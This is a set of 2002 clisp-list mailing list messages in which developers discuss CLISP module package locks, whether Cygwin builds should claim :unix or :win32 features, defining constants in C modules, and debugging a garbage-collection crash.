About modules and package locks:
Dan Stanger's GDI has a file to preload which reads as follows: (MAKE-PACKAGE "GDI"). That's all - 1MB for that. Then you must dump an image with an old lisp, then you must create a lisp.exe with the module, then you can make use of it.

The extra image (of little added value) until now cannot be avoided. This waters
the recommendation in my article on modules, where I explain that it's much better (on disk space and flexibility) to have a single original image, as module initialization time is negligible.
With such an old image, you can later create any lisp.exe with as many modules as you want and never have CLISP complain "this image was not generated with this version of CLISP".

With the current state, this is broken,
 - for extensions to the FFI because of locking (dynload),
 - for new packages because they must be created first (GDI, LDAP)


> A "works for me" patch is fine.  Anyway, it will help anyone who
> writes or wants to write modules by hand.  I hope to get around to
> hand-written modules real soon now (TM) :-)
It would indeed help Dan. His GDI would not need an extra image anymore before lisp.run can start.

I'll submit a patch to
a) create package if needed
b) unlock package for every LISPFUN found in the module.


> In an attempt to recreate the problem, so I could experiment with
> using mark_pack_unlocked.  But it all compiles fine, with no
> complaints about locked packages!!!! And with
> #'foreign-address-function, etc in "FFI".
> What the fuck is going on?

I have an explanation. It all depends on the order in which you compiled the successive CLISP's with and without modules, created the images etc.
Here's how:
Start with a virgin lisp.run, without -M: Package FFI is there, unlocked.
Recompile to use module dynload.
Create image using this lisp: lisp-with-dynload.run -x (load "init.fas")
-> module is initialized first, FFI is not locked.
-> image is created, with all packages locked.
But dynload is already there, and it's in package FFI.

So with the FFI package, you happen to be safe. Not so for new packages, e.g. GDI, because they were not created.

Now the other scenario: user has lisp.exe and old lispinit.mem
Recreate lisp.exe with dynload.d
lisp-with-dynload.exe -M lispinit.mem => attempt to add to locked FFI package error
lisp-with-dynload.exe without -M : no error
lisp-with-dynload.exe -x (load "init.fas"): can create new image with DYNLOAD in it.
lisp-with-dynload.exe -M newimage: no error, already initialized

So depending on the path taken by the user, s/he might see errors or not...
I hate this inconsistent (to the user) behaviour.

Regards,
	Jorg Hohle.


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Hi,

Peter asked:
> > What the fuck is going on?
[long hypothesis of mine deleted]

Maybe there's a simpler explanation:

I just created a new lisp.exe (no modules) and new lispimag.mem:
...\clisp-2.28\src>lisp.exe -B . -Efile UTF-8 -norc -m 750KW -x
 "(load \"init.fas\") (sys::%saveinitmem) (exit)"
...\clisp-2.28\src>lisp.exe -M lispimag.mem
[...]
[1]> (package-lock "FFI")
NIL
[2]> (package-lock "SYS")
NIL
?
Some older images of mine have the locks in them?!?!

I see, it should have been: -x "(load \"init.fas\") (saveinitmem) (exit)"

How did you dump your images?

Regards,
	Jorg Hohle.
Patch will be sent to SF. Now I can
> oldlisp.exe -M oldlispinit.mem -i gdi.fas
and don't need that stupid interim image anymore.


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> I've been following this, and although I'd say it's not at all obvious what 
> to do, I lean towards _not_ enabling the :mswindows feature for the 
> Cygwin-hosted version of CLISP. For any practical purpose, the fact that 
> there's Windows "down below" is neither apparent nor meaningfully
> accessible.

So, your argument is that :unix with :cygwin is "a matter of
practicality".  I.e. we are in a "worse is better" vs. "the right
thing" fight.

> Cygwin does accept both kinds of path names, it's true, but first and 
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> Perhaps the entire feature scheme needs to be rethought in face of 
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It surely looks like this.  As a matter of fact I may be convinced
that the right combination of features may be

     (and :posix :mswindows)

or

     (and :cygwin :posix :mswindows)

But please!  No :unix on a MS Windows implementation.

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> * In message <DFD875E85664D3118FA6080006277DE7058227E5@U8PN2.blf01.telekom.de>
> * On the subject of "[clisp-list] :PC386 feature"
> * Sent on Fri, 26 Apr 2002 09:51:49 +0200
> * Honorable "Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:
>
> While we're at it:
> 
> :PC386 is not in the *features* list of my build (MS-VC):
> 
> (:CLOS :LOOP :COMPILER :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER
>  :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :UNICODE
>  :BASE-CHAR=CHARACTER :SYSCALLS :DIR-KEY :WIN32)
> 
> According to impnotes, it should: "if hardware = PC (clone) with a
> 386/486/586/686 CPU".

who uses this feature?  what is it for?  can it be removed?
Right now it is not used by CLISP, and it does not even conform to the
docs (on linux/i386 :PC386 is present even though on a :UNIX hardware is
supposed to be irrelevant.)

Bruno, could you please comment on what this feature is for?

> BTW, I just went to cliki and added a little about CLISP's *features* list.
> http://ww.telent.net/cliki/Features
thanks!

> is #define WIN32 => #define PC386 ok for now?

I am not sure what you mean, but I think that :PC386 should _not_ be
there on linux/i386 but _should_ be there on w32/i386 (if we actually
get to keep this feature on the *FEATURES* list).

> How to detect a WIN32 not on Intel? Is there CLISP for MS-Windows on alpha??

win32 support for non-Intel platforms has been dropped by MS many years ago.
why would _we_ support MS systems that MS does not support?!

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> > Cygwin does accept both kinds of path names, it's true, but first
> > and foremost it is a POSIX emulation environment. To a first, and
> > very good approximation, Cygwin is a Unix-like environment, not
> > Windows.

yes.  if you want a CLISP with #+WIN32, you can compile CLISP with
mingw of MSVC.  CLISP under cygwin does not understand "c:\\foo\\bar"
and thus has no right to have #+WIN32.
How many people out there have things like
(defvar *my-path* #+win32 "c:\\foo\\bar" #-win32 "~/foo/bar")

> No :unix on a MS Windows implementation.

clisp compiled by cygwin is not a MS Windows implementation.
if cygwin will be ported to, say, macos, clisp/cygwin will not be a
macos implementation.

I agree with Joerg 100%.

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Sam writes:

> > According to impnotes, it should: "if hardware = PC (clone) with a
> > 386/486/586/686 CPU".
> 
> who uses this feature?  what is it for?

It is used to declare availability of typical PC facilities, like a
console with a graphics mode that differs from the text mode, or a
keyboard with function keys F1..F12. Things which are orthogonal to
the OS.

> can it be removed?

I don't see the point of removing hardware indicators from *features*.

> Right now it is not used by CLISP

Applications of the SCREEN package need it.

> (on linux/i386 :PC386 is present even though on a :UNIX hardware is
> supposed to be irrelevant.)

Even on Unix, the availability of F1..F12 is important enough.

> > is #define WIN32 => #define PC386 ok for now?

Yes. Up to now, Woe32 runs only on x86 compatible processors. If Woe32
ever gets ported to IA-64, the machines on which it will run will
likely have a PC compatible hardware.

Bruno


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Marco,


At 06:38 2002-04-26, Marco Antoniotti wrote:

> > From: Randall R Schulz <rrschulz@cris.com>
> > Date: Thu, 25 Apr 2002 13:22:55 -0700
> >
> > Hi,
> >
> > I've been following this, and although I'd say it's not at all obvious 
> what
> > to do, I lean towards _not_ enabling the :mswindows feature for the
> > Cygwin-hosted version of CLISP. For any practical purpose, the fact that
> > there's Windows "down below" is neither apparent nor meaningfully
> > accessible.
>
>So, your argument is that :unix with :cygwin is "a matter of
>practicality".  I.e. we are in a "worse is better" vs. "the right
>thing" fight.

I'm not "fighting" for, against or about anything. I never advocate for a 
"worse is better" perspective, not do I see how such a characterization 
fits my observation that Cygwin programs are insulated from the MS Windows 
environment below.


> > Cygwin does accept both kinds of path names, it's true, but first and
> > foremost it is a POSIX emulation environment. To a first, and very good
> > approximation, Cygwin is a Unix-like environment, not Windows.
> >
> > Perhaps the entire feature scheme needs to be rethought in face of
> > emulation environments like Cygwin and Wine?
>
>It surely looks like this.  As a matter of fact I may be convinced
>that the right combination of features may be
>
>      (and :posix :mswindows)
>
>or
>
>      (and :cygwin :posix :mswindows)
>
>But please!  No :unix on a MS Windows implementation.

Cygwin is certainly a POSIX environment, so not to have :posix seems wrong.

I don't have a strong opinion on this and probably don't understand CLISP 
well enough to make a strong statement, but if I'm advocating anything, 
it's that :mswindows is inappropriate for the Cygwin port.


If I get some time, I'll try to pose a "philosophical" question about this 
for the Cygwin list to see what programmers doing Cygwin ports of similar 
programming environments do in circumstances like these.


However, to compound the problem, I have to point out that Sam's remark:

>... CLISP under cygwin does not understand "c:\\foo\\bar"

Is not exactly true, at least not as far as the Cygwin underpinnings are 
concerned. Cygwin includes name and PATH translation routines, and more to 
the point, it is itself perfectly capable of understanding file name 
strings in either native Windows format or in POSIX format.

The problem, if there is one, is for programs that examine path names 
rather than treat them as structureless blobs to be accepted, saved and / 
or passed on. Programs that believe they understand path name syntax and 
that want to take advantages of Cygwin's flexibility of path name syntax 
must know that they're in a dual-syntax environment.

Perhaps, Sam, what you're saying is that as a program that does examine and 
parse path names CLISP must be configured to assume one or the other formats?



>Cheers
>
>--
>Marco Antoniotti


Randall Schulz
Mountain View, C USA



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Hi,
On Fri, Apr 26, 2002 at 02:22:14PM +0200, Hoehle, Joerg-Cyril wrote:

> Maybe there's a simpler explanation:
> 
> I just created a new lisp.exe (no modules) and new lispimag.mem:
> ...\clisp-2.28\src>lisp.exe -B . -Efile UTF-8 -norc -m 750KW -x
>  "(load \"init.fas\") (sys::%saveinitmem) (exit)"
> ...\clisp-2.28\src>lisp.exe -M lispimag.mem
> [...]
> [1]> (package-lock "FFI")
> NIL
> [2]> (package-lock "SYS")
> NIL
> ?
> Some older images of mine have the locks in them?!?!
> 
> I see, it should have been: -x "(load \"init.fas\") (saveinitmem) (exit)"
> 
> How did you dump your images?

I didn't.  The build process did it for me.  I am building with the
patches to 'configure' and 'makemake.in' which I sent to the list, and
which allow building the new ffi 'normally'.  There does not appear to
be any problem with package locking: certainly, I redefined ffi to
"FFI" in dynload.d and ffimext.d, and I do not get errors.

Regards,
Peter



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Well. Going to: 

http://www.cygwin.com/

and find this on the side-top: (also there is the dll to do list)
......................................

Cygwin is a UNIX environment, developed by Red Hat, for Windows. It
consists of two parts: 

 - A DLL (cygwin1.dll) which acts as a UNIX emulation layer providing
substantial UNIX API functionality. 

 - A collection of tools, ported from UNIX, which provide UNIX/Linux
look and feel. 

 The Cygwin DLL works with all non-beta versions of Windows since
Windows 95, with the exception of Windows CE. 
......................................

Note: ...exception Windows CE !! And you know, every year a new window
issue (means an other dll). 

Is Cygwin a kind of a hype? At least you shipp this *.dll with the
clisp-stuff. Before doing so, I vote for simple gfx inside the
clisp-files.

stefan



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Stefan,

"Is Cygwin a kind of hype?" You've got to be kidding.

Cygwin is not hype, is not over-sold in being called a Unix environment. It 
is very powerful and very complete. People have ported all sorts of Unix 
software, including some very large projects such as Emacs,  the TeX Suite, 
Apache Web Server, Python,Perl, etc, autoconf and automake, gcc/g++, gdb, 
BASH, TCSH, Ash and everything on "down" to cat and a large complement of 
libraries.

Cygwin is under continuing development and the set of contributed packages 
continues to increase.

I don't know what you mean by "vote for simple gfx inside the clisp-files." 
What is the issue about which you purport to be voting?

Also, I'm uncertain about what you mean by your statement about shipping a 
DLL with CLISP. Cygwin is not some kind of add-on. It is an environment in 
a very real sense. Software must be compiled (and sometimes ported, usually 
only minimally) for the Cygwin environment. Binaries built for / with 
Cygwin minimally require the Cygwin1.dll to be available when they are run.

Cygwin is an open-source project distributed under GPL, so if you publish 
software that uses Cygwin, you must take responsibility for making Cygwin 
sources available, too.

It would be very foolish to write off Cygwin as irrelevant to CLISP. Since 
the Windows APIs are so different than those used in Unix (any variant), 
having Cygwin opens up a huge range of software written for the Unix / 
Linux / POSIX APIs that would otherwise require a great deal of work to 
port to Windows.

For example, I was able to adapt the Unix port of the Glimpse indexer by 
adding a very few very trivial patches.

Learn about Cygwin before you disparage or pooh-pooh it.

Out of curiosity, does CLISP run on Windows CE?

Randall Schulz
Mountain View, CA USA


At 19:32 2002-04-26, you wrote:

>Well. Going to:
>
>http://www.cygwin.com/
>
>and find this on the side-top: (also there is the dll to do list)
>......................................
>
>Cygwin is a UNIX environment, developed by Red Hat, for Windows. It 
>consists of two parts:
>
>- A DLL (cygwin1.dll) which acts as a UNIX emulation layer providing 
>substantial UNIX API functionality.
>
>- A collection of tools, ported from UNIX, which provide UNIX/Linux look 
>and feel.
>
>The Cygwin DLL works with all non-beta versions of Windows since Windows 
>95, with the exception of Windows CE.
>......................................
>
>Note: ...exception Windows CE !! And you know, every year a new window 
>issue (means an other dll).
>
>Is Cygwin a kind of a hype? At least you shipp this *.dll with the 
>clisp-stuff. Before doing so, I vote for simple gfx inside the clisp-files.
>
>stefan



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BTW,

there are two Stefan's on this list.

I am the one who usually posts via smk@users.sourceforge.net,
because lin8080 also has a freenet.de - account, incidently.

Please don't mix it up. :-) 

I am innocent! 

Please distinguish us by adding some additional info.

stefan [lin8080], that's the one who doesn't know cygwin

and

Stefan [smk], that's me, the brave german-comment-translator... :-)

Randall R Schulz wrote:
> 
> Stefan,
> >


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Hi,

[I take the freedom to reply to the list, since I believe this may be of interest to other people.]

Dan Stanger wrote:

> Is it possible to generate constants in the c code?  In the 
> file gdi.lisp there are hundreds of
> constants from the cygwin headers, is it possible to create 
> these constants in c, and export them to lisp?

It is possible, but cumbersome. I believe it's not worth the effort. My idea of how modules are used is that there's a C part, and there's a LISP part (like you already have: gdi.c and gdi.lisp).

Things that are easily written in Lisp should be left there (e.g. defpackage, macros, Lisp DEFUNs etc.).
You have in gdi.lisp
(defconstant WGL_SWAP_UNDERLAY12 #x8000000)
What's wrong with that (except using #\_ instread of #\-)? :)

The problem I see with it may be:
 o if it's not automatically generated from C files, there may be deviations over time in the values. It is your responsibility as module provider to assess this risk.

 o if it is automatical, then it is your responsibility as the module provider to say: "this is really the same constant on all platforms where this module can work."

I.e. UNIX SIG_USR1 signal numbers is a counter-example: the actual signal number varies from UNIX to UNIX and is not easily accessible at the Lisp level (not in a file like gdi.lisp which you don't want your users to generate first). Therefore, you should take the effort and have C code generate that value, which the Lisp system then can use, and not write
(defconstant SIG-USR1 31) ; bad, broken, wrong

Despite all the recommendations for caution, "the thing is a constant and (DEFCONSTANT foo 128) is perfectly fine" applies in most cases.

Below is how to do this inside a module.


> Also, regarding encoding, I wanted to have package variable 
> for the current encoding, which
> would be set to the clisp encoding.  I have seen reference to
> internal-encoding, in the clisp
> code, so I assume that this would be the one to use as the default.

It's unclear to me why this should be a variable.

First, several encodings may be necessary, depending on the purpose.
Second, each of these could be constant, depending on the module or string properties. There might be no point in having a variable for any of them.

internal_encoding is what's used inside "literal strings" in the CLISP C source code. Remember that all CLISP files have been converted to UTF-8 (-16?) some years ago. So it may not suit your needs, if you fail to use this very same encoding in your C source file.

If the string is a pathname, then O(pathname_encoding) is the right choice (like I did in dynload.d for the foreign library name). Not a variable as far as your module is concerned (it's a variable from the CLISP user point of view).

If you interface to some particular MS-Windows functions, maybe UTF-16 is the encoding required by MS-Windows (e.g. FooBarW() functions). Not a variable either.

Etc.


Now here's how to define constants from within a module.

First, you need to define the symbols. Use the module__object_tab for this.
Then, you need to have the values as Lisp objects. Use either module__object_tab again (for Lisp data) or individual lines of code (best with numbers) for each variable as shown below.
Finally, your module__init_function1() will call define_constant(symbol,Lisp-value).

  define_constant(MymoduleO(sig_usr1),fixnum(SIG_USR1));
or
  sintB val = SIG_USR1;
  define_constant(MymoduleO(sig_usr1),fixnum(SIG_USR1));
  var object val = UL_to_I(0x8000000)
  define_constant(MymoduleO(foobar),val);
  define_constant(MymoduleO(barfoo),MyModuleO(my_encoding));
Beware, define_constant is not GC-safe.

Instead of having a thousand module_object_tab entries, you could have a single one: a huge list of the symbols, and then walk this list. Examples of C code walking a list are abundant in CLISP C source, e.g.
    while (consp(STACK_0)) {
      var object obj = STACK_0;
      STACK_0 = Cdr(obj); funcall(Car(obj),0);

As you automatically generate the module's C code, you have a different set of options (w.r.t. what's comfortable) than somebody writing one directly by hand.

Regards,
	Jorg Hohle.


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> From: Sam Steingold <sds@gnu.org>
> Date: 26 Apr 2002 11:07:44 -0400
> 
  ...
> 
> > > Cygwin does accept both kinds of path names, it's true, but first
> > > and foremost it is a POSIX emulation environment. To a first, and
> > > very good approximation, Cygwin is a Unix-like environment, not
> > > Windows.
> 
> yes.  if you want a CLISP with #+WIN32, you can compile CLISP with
> mingw of MSVC.  CLISP under cygwin does not understand "c:\\foo\\bar"
> and thus has no right to have #+WIN32.
> How many people out there have things like
> (defvar *my-path* #+win32 "c:\\foo\\bar" #-win32 "~/foo/bar")
> 
> > No :unix on a MS Windows implementation.
> 
> clisp compiled by cygwin is not a MS Windows implementation.
> if cygwin will be ported to, say, macos, clisp/cygwin will not be a
> macos implementation.
> 
> I agree with Joerg 100%.

It is your decision to make, not mine. I still hold to my opinion that
the right thing to do is to correctly identify the host OS.  Putting
:unix in *features* in the case of cygwin is not IMHO optimal.

However, I do understand that the set of *features* is too
implementation dependent to be something to be argued for.  It is
something the writers of portable code will have to live with.

Cheers

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Randall R Schulz <rrschulz@cris.com> wrote:

> Out of curiosity, does CLISP run on Windows CE?

     Going off on a slight tangent, CLISP can be made to run on a Sharp
Zaurus (a recently-released color PDA running Linux).  It's a very
tedious and manual process (configure can't be used as-is because a
cross-compiler is used), but it's possible.  A different port of CLISP
was used to get maxima running on the Zaurus.

[ Well, technically, it should be possible to compile CLISP natively on
  the Zaurus, using configure, but I've been too lazy to hunt down and
  install all of the native tools necessary to do it (e.g., gcc).  ]

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Hi,

Dan Stanger wrote:
> BTW, how is your clisp compiler outputting c code going?

Yes, put salt into my wounds! :-)

After a couple of hours stepping through a call of (compile 'square)
(Now guess, how square is defined...),
I have found the very function that emits the bytecode: 
assemble-LAP in compiler.lisp.
(Applause!!)  I don't know, what LAP stands for, but maybe Bruno can
shed some light on this naming.

After this very exciting discovery, I have thoroughly studied the
C-function
interpret_bytecode_ in eval.d
which encodes all the bytecode actions in C in a huge

switch(*byteptr++) { ...lots of cases, one for each  bytecode... }
statement.

The bytecode interpreter defined by this statement interpretes the code
literally byte for byte. What I want to do is: Instead of executing each
case-statement for the respective bytecode, write the C-encoding to a
file plus augmenting the jump targets with C-labels.

So I copy the function interpret_bytecode_ to a function emit_c_code,

and the case statement for the bytecode do_something:

case do_something:
      { do_it };


becomes:

case do_something:
       fprintf(output_stream, "{ do_it };\n");

for the simple cases.

That's why this is called abstract interpretation, right? :-)

jump-intructions will be sligthly more difficult, because
I will have to identify the jump-destination in the C-code with a
jump-label,
while in the bytecodevector it is only the index in the vector, like
jump to bytecode in position 15 means: byteptr = 15 (tiny
oversimplification...)

in C I will need something like:  goto l15;


Now you might ask: "Where the h..k is the difference between calling
interpret_bytecode
and running a binary produced by this ominous emit_c_code..."

There is almost none, except the lack of interpretative overhead due to
manipulating
byteptr and executing the machine-jumps to the case-statements. 

"Will there be any speed gain?"
Unlikely. If so, I will be truly surprised. The generated object-code
from this C-code
will be significantly larger than the bytecode. 
The instruction cache is usually pretty small.


"Why are you doing this?"
Just for fun.


Please don't laugh too loud behind the stage because I have taken the
risk to announce
my plan before performing in front of the big audience.

If I fail, we all can have a good laugh, anyway.


Bye,
Stefan


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Stefan Kain wrote:

> "Will there be any speed gain?"
> Unlikely. If so, I will be truly surprised. The generated object-code
> from this C-code will be significantly larger than the bytecode. 
> The instruction cache is usually pretty small.

Generally, the technique you describe yields a little speed gain, for the exact reason you mention (removing one level of interpretation).

However to me, the question is: is it worth it?
 o Native code compilers like CMUCL do one step more: they remove another level of interpretation, achieving *major* speed gains.
E.g., your C code will do lots of pushSTACK(arg0);pushSTACK(arg1);funcall(argf,2);
That means, it still operates on the CLISP stack and object model, like a JVM, while "true" native code goes one interpretation level beyond that.

 o Common Lispers who really want native code have a vast choice of implementations (CMUCL, SBCL, POPLOG(?), ECLS, LW, ACL ...). Why should CLISP follow that beaten path?

 o Something however, which is not there(?) is:
	Common Lisp to JVM bytecode.
That'll be something new, well adapated to CLISP IMHO (because it already does some form of bytecode), and possibly more grateful than providing yet another Lisp->C translator, which is highly unlikely to beat CMUCL.

Even more advertising :): if you go into Lisp->JVM, you'll find yourself among very nice people, like Bruno Haible, working on something current (and shared with Smalltalker, Schemers, and half a dozen more languages).
With Lisp->C, you'll work with "old" people who've done that before (authors of the above implementations), and thus have memory and experience to help you, but it's not a hot topic for them anymore.

Just my 0,00$. I wanted to send that privately, but since you just wrote to the list...

Regards,
	Jorg Hohle.


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Hi,

by now we've heard some arguments, partly based on personal bias (including mine). Somebody suggested a vote.

Instead, I suggest we put the pros and cons black on white, so based on facts, and agreement could come out, or Sam can make a decision.

Please help complete (or correct) the following:

[CYGWIN-CLISP means: CLISP compiled with CYGWIN]
 

	Pro #+WIN32 == CLISP-CYGWIN is a MS-Windows app because
+ it can (in theory?) feature all things a "native" CLISP can (with how many modifications, if any?):
  # SYS::REGISTRY
  # DIRKEY (Peter Burwood could comment on the necessary changes)
  # gdi (code unchanged between Dan's cygwin and mine using MS-VC)
 +-+-? making features available is just a matter of adding || defined(UNIX_CYGWIN) to selected defined(WIN32_NATIVE) places (pro), or code must be modified and carefully examined (contra).
+ the hypothetical user doesn't care whether his/her CLISP was compiled natively or not??
+ code from other Lisps already uses #+win32 to detect availability of the typical MS-Windows features mentioned above (a contradiction in effect?).
+ Lisp code uses #+WIN32 to detect the need for :DOS EOL convention when writing files and should do so with CYGWIN-CLISP as well.


	Contra #+WIN32
- it doesn't understand pathnames like "C:\\foo\\bar.txt"
- even if it would, (shell (format nil "NOTEPAD.EXE ~A" (namestring pathname))) would not work, because MS-Windows/DOS applications do not recognize C:/foo/bar.txt.
- it needs a specially compiled cygz.dll instead of zlib.dll (why?)
- code from other Lisps already uses #+win32 to detect availability of the typical MS-Windows features but breaks on pathnames, shell and other distinguishing features.


	Pro #+UNIX == CYGWIN is a UNIX app because
+ SYSCALLS is there, including file-stat, sysinfo, resolve_host_ipaddr, bogomips
+ everything a programmer expects from a UNIX environment is (or can be) there:
  # readline library, gettext
  # /bin/sh
  # (run-command "/bin/sh emacs &"), or (run-command "/bin/sh emacs" :wait nil) all work as expected.
  # all POSIX functions, even gamma() and lgamma() (currently disabled for -DWIN32_NATIVE).
+ it could support (sys::dynload-module "module.so")
+ it integrates smoothly in a mixed UNIX+MS-Windows X11 windowing system environment, where DISPLAY is set to various hosts.
- it does not integrate smoothly into such an environment, because "typical" X programs are not there or behave differently, e.g. netscape, XEmacs. However, ports of pbm, imagemagick, xv and even xterm work.


	Contra #+UNIX == CYGWIN should not disguise as a UNIX app because
- the user may have installed a minimal cygwin, i.e. all typical UNIX commands are missing (ls, /bin/sh etc.) -- is that choice possible (or available via the cygwin installation?)


It appears to that PRO&CONTRA are very much dictated by the user's environment: whether s/he has a complete UNIX-like environment and makes active use of it, or whether s/he sees CYGWIN-CLISP just as CLISP running on MS-Windows and doesn't care how it was compiled.

Maybe we should add to config.lisp:
;; CYGWIN users: you can choose whether you want either :UNIX or :WIN32
;; on your feature list. But don't choose both.
after the initial image has been generated, i.e. the core CLISP got the things that match its C half.

Regards,
	Jorg Hohle.


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Dear mssrs. Haible & Stoll,

I=B9ve recently set gotten Mac OS X running on my Macintosh.  Would really
like to get clisp running, or alternately another if it is to be preferred.
Would appreciate a simple document telling what to do, as I am not a Unix
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Please do the world a favor and knock off an installation memo for Mac OS X=
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"Hoehle, Joerg-Cyril" <Joerg-Cyril.Hoehle@t-systems.com> writes:

> Hi,
> 
> by now we've heard some arguments, partly based on personal bias
> (including mine). Somebody suggested a vote.
> 
> Instead, I suggest we put the pros and cons black on white, so based on
> facts, and agreement could come out, or Sam can make a decision.
> 
> Please help complete (or correct) the following:

Hi,

I am very busy at the moment with weekends away and work and so cannot put
much, if any, time into clisp or this discussion. However, I am still trying
to do a little on dirkey and other cygwin features when possible.

Regarding *features*, then I have these comments for now. I apologise if
these have been covered by others recently. I know there has been some
discussion, but I'm way behind with it at the moment.

First question which might resolve the issue is, why would a user use a
cygwin based Clisp rather than a native Win based Clisp?

For me it is because I do not have MSVC or mingw32 and gcc/cygwin build of
Clisp is quite easy. It is a slight inconvenience that dir-key and other
features are not there, which is why I'm helping extend Clisp/cygwin. Dos
pathnames would be useful, but unix pathnames are ok.

I suspect that some code might use #+win32 when there would be a better
feature to use, though that might not exist. For example, pathnames is often
a problem for portable programs. Should they use #+win32, #+unix, #+amiga,
... etc? Perhaps there should be :pathnames=dos, :pathnames=unix,
:pathnames=amiga, etc.

I might have misunderstood exactly what you meant below, so excuse me if I
just point out something you already know.

> [CYGWIN-CLISP means: CLISP compiled with CYGWIN]
>  
> 
> 	Pro #+WIN32 == CLISP-CYGWIN is a MS-Windows app because
> + it can (in theory?) feature all things a "native" CLISP can (with how many modifications, if any?):
>   # SYS::REGISTRY
>   # DIRKEY (Peter Burwood could comment on the necessary changes)

DIR-KEY is already a feature, no need to tie in with #+win32

>   # gdi (code unchanged between Dan's cygwin and mine using MS-VC)
>  +-+-? making features available is just a matter of adding || defined(UNIX_CYGWIN) to selected defined(WIN32_NATIVE) places (pro), or code must be modified and carefully examined (contra).
> + the hypothetical user doesn't care whether his/her CLISP was compiled natively or not??
> + code from other Lisps already uses #+win32 to detect availability of the typical MS-Windows features mentioned above (a contradiction in effect?).

I agree, #+win32 is often wrong.

> + Lisp code uses #+WIN32 to detect the need for :DOS EOL convention when
> writing files and should do so with CYGWIN-CLISP as well.

Pass.


> 	Contra #+WIN32
> - it doesn't understand pathnames like "C:\\foo\\bar.txt"

This could be accommodated. We could provide a cygwin compiled version of
clisp that supports Win (dos) pathnames or Cygwin (unix) pathnames, decided
at compile time.

> - even if it would, (shell (format nil "NOTEPAD.EXE ~A" (namestring
> pathname))) would not work, because MS-Windows/DOS applications do not
> recognize C:/foo/bar.txt.

I might be misremembering here, but the RISC OS port had a similar issue.
When the pathname was being passed to the OS, it was necessary to do some
conversion.  This was because of the way pathnames commonly exist under RISC
OS versus a lot of Lisp code. Anyway, I'll skip the issues, because it'll be
a while before I can even check that one.

The important fact is that I think internal CLisp representation for
pathnames can be different from external representation. Sorry I can't think
of a good example atm.

> - it needs a specially compiled cygz.dll instead of zlib.dll (why?)

I don't know, but possibly to avoid name clashes and PATH issues. Cygwin
having cygz.dll means that the MS zlib.dll won't get loaded by Cygwin
apps. Why though? Perhaps MS dlls cannot be mixed with Cygwin code?

> - code from other Lisps already uses #+win32 to detect availability of the
> typical MS-Windows features but breaks on pathnames, shell and other
> distinguishing features.

Some code might use #+win32 because there was no reasonable alternative.
Backwards compatibility would need to be kept for some time if
:pathnames=dos was used.

> 
> 	Pro #+UNIX == CYGWIN is a UNIX app because
> + SYSCALLS is there, including file-stat, sysinfo, resolve_host_ipaddr, bogomips
> + everything a programmer expects from a UNIX environment is (or can be) there:

SYSCALLS is already a feature, so it doesn't matter about #+win32 or #+unix.

>   # readline library, gettext

Likewise.

>   # /bin/sh
>   # (run-command "/bin/sh emacs &"), or (run-command "/bin/sh emacs" :wait nil) all work as expected.
>   # all POSIX functions, even gamma() and lgamma() (currently disabled for -DWIN32_NATIVE).

Anyone for #+POSIX ?

> + it could support (sys::dynload-module "module.so")

Isn't this #+DYN-FFI or whatever the feature is?

> + it integrates smoothly in a mixed UNIX+MS-Windows X11 windowing system environment, where DISPLAY is set to various hosts.
> - it does not integrate smoothly into such an environment, because "typical" X programs are not there or behave differently, e.g. netscape, XEmacs. However, ports of pbm, imagemagick, xv and even xterm work.
> 
> 
> 	Contra #+UNIX == CYGWIN should not disguise as a UNIX app because
> - the user may have installed a minimal cygwin, i.e. all typical UNIX commands are missing (ls, /bin/sh etc.) -- is that choice possible (or available via the cygwin installation?)

Yes, it is quite possible to be missing many Unix commands. In fact I am
positive that I can run Clisp/Cygwin with one or two dlls - I have checked
this, I just can't find my notes about dlls needed.

> It appears to that PRO&CONTRA are very much dictated by the user's
> environment: whether s/he has a complete UNIX-like environment and makes
> active use of it, or whether s/he sees CYGWIN-CLISP just as CLISP running
> on MS-Windows and doesn't care how it was compiled.
> 
> Maybe we should add to config.lisp:
> ;; CYGWIN users: you can choose whether you want either :UNIX or :WIN32
> ;; on your feature list. But don't choose both.
> after the initial image has been generated, i.e. the core CLISP got the things that match its C half.

I'm almost tempted to suggest get rid of win32 and unix because those
features just mean too many different things to many people. Maybe that's
too radical?

Peter




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I use cygwin for political reasons.  The react os project, which
is trying to build a gpl'd version of windows nt, will be able to
use any code I develop, as it is all lgpl'd.  The ms license
agreement for vc++, prohibits code developed with it from being used
on non ms platforms.  The only reason I am doing the gdi project
is to port garnet to win32, so that it can be used in reactos also.

Regarding the feature, I had no idea that it would generate this much
discussion.  I like the idea of putting them in config.lisp, if it
doesnt take much work.  Then you could tell yourself whatever
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Hi,

  I'm using GNU CLISP 2.27 (released 2001-07-17) and am trying to
  invoke a lisp program from a cgi script.  This now produces the
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    *** - The value of *TERMINAL-IO* was not a stream: 
    #<CLOSED TERMINAL-STREAM>. 
    It has been changed to #<IO TERMINAL-STREAM>

    and terminates.

  (This did not happen with an older version of clisp: 1999-07-22 )

  How can I prevent this from happening?

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Hi,

Does anyone here have any thoughts on developing a MOP (such as described in 
AMOP) for CLisp?

Is anyone working on this?

Are there architectural impediments to doing this work in CLisp, as it stands 
now?

Are there others interested in having a MOP in CLisp?


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On Wed, Apr 24, 2002 at 09:23:16AM -0400, Sam Steingold wrote:
> > * In message <20020424081326.GA11985@cam.ac.uk>
> > * On the subject of "Re: [clisp-list] What causes hard exits from clisp?"
> > * Sent on Wed, 24 Apr 2002 09:13:26 +0100
> > * Honorable Christophe Rhodes <csr21@cam.ac.uk> writes:
> >
> > I've attached a slightly fuller backtrace from the CVS version of
> > CLISP, compiled with ./configure --with-debug, on the same
> > application. It crashes in the same place, from a user point of view,
> > though the small-numbered stack frames in this backtrace are slightly
> > different in the detail.
> > 
> > fehler_funname_source appears at frames 45, 80, and 115 of the
> > attached (hmm, 35 frames..., yes, also 150 and 185)
> 
> fine.  please stop in an inner fehler_funname_source() and print all
> arguments in all the 35 (hmm - please make it 70 - I want to know the
> how the two adjacent periods differ) frames separating this
> fehler_funname_source() and the one above (print objects with zout).

Right. I've tried to look at this problem (not just the weird
fehler_funname_source thing, the whole sbcl-compile-under-clisp and
garbage-collection problem).

Firstly, let me say that the symptom discussed above seems to be an
artifact of having corrupted data; I _think_ what is going on is that
fehler_funname_source is trying to print

  *** - EVAL: <something> is not a function name

and failing because the <something> is a corrupt object; this then lands
it into confused recursive error territory. I could be wrong, of course,
but

  (gdb) frame 0
  #0  fehler_funname_source (caller=0x8247665, obj=0x8246379) at error.d:914
